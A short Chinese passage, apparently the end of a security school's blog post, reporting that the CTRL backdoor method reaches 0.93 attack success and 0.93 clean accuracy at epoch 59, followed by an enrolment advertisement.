可以看到,CTRL在后门攻击成功率上稍低,比如在第59个epoch时,攻击成功率为0.93,正常任务准确率为0.93。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

